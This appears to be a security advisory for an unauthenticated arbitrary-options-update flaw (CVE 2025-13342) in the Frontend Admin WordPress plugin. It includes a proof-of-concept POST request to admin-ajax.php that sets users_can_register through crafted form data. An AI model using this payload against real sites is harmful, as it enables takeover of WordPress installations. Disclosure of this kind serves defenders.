Frontend Admin by DynamiApps < 3.28.21 – Unauthenticated Arbitrary Options Update | CVE 2025-13342

Description

The plugin is vulnerable to unauthorized modification of arbitrary WordPress options due to insufficient capability checks and input validation in the ActionOptions::run() save handler. This makes it possible for unauthenticated attackers to modify critical WordPress options such as users_can_register, default_role, and admin_email via submitting crafted form data to public frontend forms.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

_acf_nonce=XXX&_acf_form=dummy&acff%5badmin_options%5d%5busers_can_register%5d=1&action=frontend_admin/form_submit